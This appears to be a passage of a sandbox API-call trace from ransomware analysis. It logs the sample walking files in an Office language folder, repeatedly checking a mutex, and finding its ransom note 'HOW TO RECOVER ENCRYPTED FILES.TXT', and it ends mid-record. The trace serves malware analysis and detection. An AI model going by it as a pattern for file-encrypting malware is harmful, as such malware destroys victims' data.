[0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpUsedDefaultChar=0x0) returned 71 [0047.439] CharLowerBuffW (in: lpsz=".HTM", cchLength=0x4 | out: lpsz=".htm") returned 0x4 [0047.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".htm", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".htmShared\\OFFICE14\\1033\\README.HTM", lpUsedDefaultChar=0x0) returned 4 [0047.439] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0047.439] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.439] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.439] GlobalLock (hMem=0x440004) returned 0x552180 [0047.439] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.439] GlobalUnlock (hMem=0x440004) returned 0 [0047.439] GlobalLock (hMem=0x440004) returned 0x552180 [0047.439] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.439] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.439] GlobalUnlock (hMem=0x440004) returned 0 [0047.439] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.439] GlobalUnlock (hMem=0x44000c) returned 0 [0047.439] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.440] CharLowerBuffW (in: lpsz="xlsrvintl.dll", cchLength=0xd | out: lpsz="xlsrvintl.dll") returned 0xd [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dlly", lpUsedDefaultChar=0x0) returned 74 [0047.440] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\1033\\xlsrvintl.dlly", lpUsedDefaultChar=0x0) returned 4 [0047.440] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0047.440] GetLastError () returned 0x12 [0047.440] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.440] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.441] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.441] GlobalUnlock (hMem=0x44000c) returned 0 [0047.441] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.441] GlobalLock (hMem=0x440004) returned 0x553188 [0047.441] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.441] GlobalUnlock (hMem=0x44000c) returned 0 [0047.441] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.441] GlobalUnlock (hMem=0x440004) returned 0 [0047.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3d8494c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d8494c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.441] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.441] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.441] GlobalLock (hMem=0x440004) returned 0x551178 [0047.441] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.441] GlobalUnlock (hMem=0x440004) returned 0 [0047.441] GlobalLock (hMem=0x440004) returned 0x551178 [0047.441] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.441] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.441] GlobalUnlock (hMem=0x440004) returned 0 [0047.441] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.441] GlobalUnlock (hMem=0x44000c) returned 0 [0047.441] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.441] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3d8494c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d8494c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.441] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.441] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.441] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.442] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.442] GlobalUnlock (hMem=0x44000c) returned 0 [0047.442] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.442] GlobalLock (hMem=0x440004) returned 0x554190 [0047.442] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.442] GlobalUnlock (hMem=0x44000c) returned 0 [0047.442] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.442] GlobalUnlock (hMem=0x440004) returned 0 [0047.442] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.443] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0047.443] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.443] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.443] GlobalLock (hMem=0x440004) returned 0x552180 [0047.443] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.443] GlobalUnlock (hMem=0x440004) returned 0 [0047.443] GlobalLock (hMem=0x440004) returned 0x552180 [0047.443] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.443] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.443] GlobalUnlock (hMem=0x440004) returned 0 [0047.443] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.443] GlobalUnlock (hMem=0x44000c) returned 0 [0047.443] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.443] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0047.443] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.443] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.443] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.443] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.443] GlobalUnlock (hMem=0x44000c) returned 0 [0047.443] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.443] GlobalLock (hMem=0x440004) returned 0x554190 [0047.443] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.443] GlobalUnlock (hMem=0x44000c) returned 0 [0047.443] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.443] GlobalUnlock (hMem=0x440004) returned 0 [0047.443] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.443] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0047.443] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.443] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.444] GlobalLock (hMem=0x440004) returned 0x552180 [0047.444] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.444] GlobalUnlock (hMem=0x440004) returned 0 [0047.444] GlobalLock (hMem=0x440004) returned 0x552180 [0047.444] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.444] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.444] GlobalUnlock (hMem=0x440004) returned 0 [0047.444] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.444] GlobalUnlock (hMem=0x44000c) returned 0 [0047.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.444] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0047.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.444] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.444] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.444] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.444] GlobalUnlock (hMem=0x44000c) returned 0 [0047.444] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.444] GlobalLock (hMem=0x440004) returned 0x554190 [0047.444] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.444] GlobalUnlock (hMem=0x44000c) returned 0 [0047.444] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.444] GlobalUnlock (hMem=0x440004) returned 0 [0047.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.444] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0047.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.444] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.444] GlobalLock (hMem=0x440004) returned 0x552180 [0047.445] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.445] GlobalUnlock (hMem=0x440004) returned 0 [0047.445] GlobalLock (hMem=0x440004) returned 0x552180 [0047.445] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.445] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.445] GlobalUnlock (hMem=0x440004) returned 0 [0047.445] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.445] GlobalUnlock (hMem=0x44000c) returned 0 [0047.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.445] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0047.445] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.445] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.445] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.445] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.445] GlobalUnlock (hMem=0x44000c) returned 0 [0047.445] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.445] GlobalLock (hMem=0x440004) returned 0x554190 [0047.445] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.445] GlobalUnlock (hMem=0x44000c) returned 0 [0047.445] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.445] GlobalUnlock (hMem=0x440004) returned 0 [0047.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.445] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d8494c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3d8494c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d8494c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0047.445] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.445] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.445] GlobalLock (hMem=0x440004) returned 0x552180 [0047.445] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.445] GlobalUnlock (hMem=0x440004) returned 0 [0047.445] GlobalLock (hMem=0x440004) returned 0x552180 [0047.446] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.446] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.446] GlobalUnlock (hMem=0x440004) returned 0 [0047.446] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.446] GlobalUnlock (hMem=0x44000c) returned 0 [0047.446] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.446] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0047.446] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.446] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.446] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.446] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.446] GlobalUnlock (hMem=0x44000c) returned 0 [0047.446] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.446] GlobalLock (hMem=0x440004) returned 0x554190 [0047.446] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.446] GlobalUnlock (hMem=0x44000c) returned 0 [0047.446] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.446] GlobalUnlock (hMem=0x440004) returned 0 [0047.446] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.446] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, 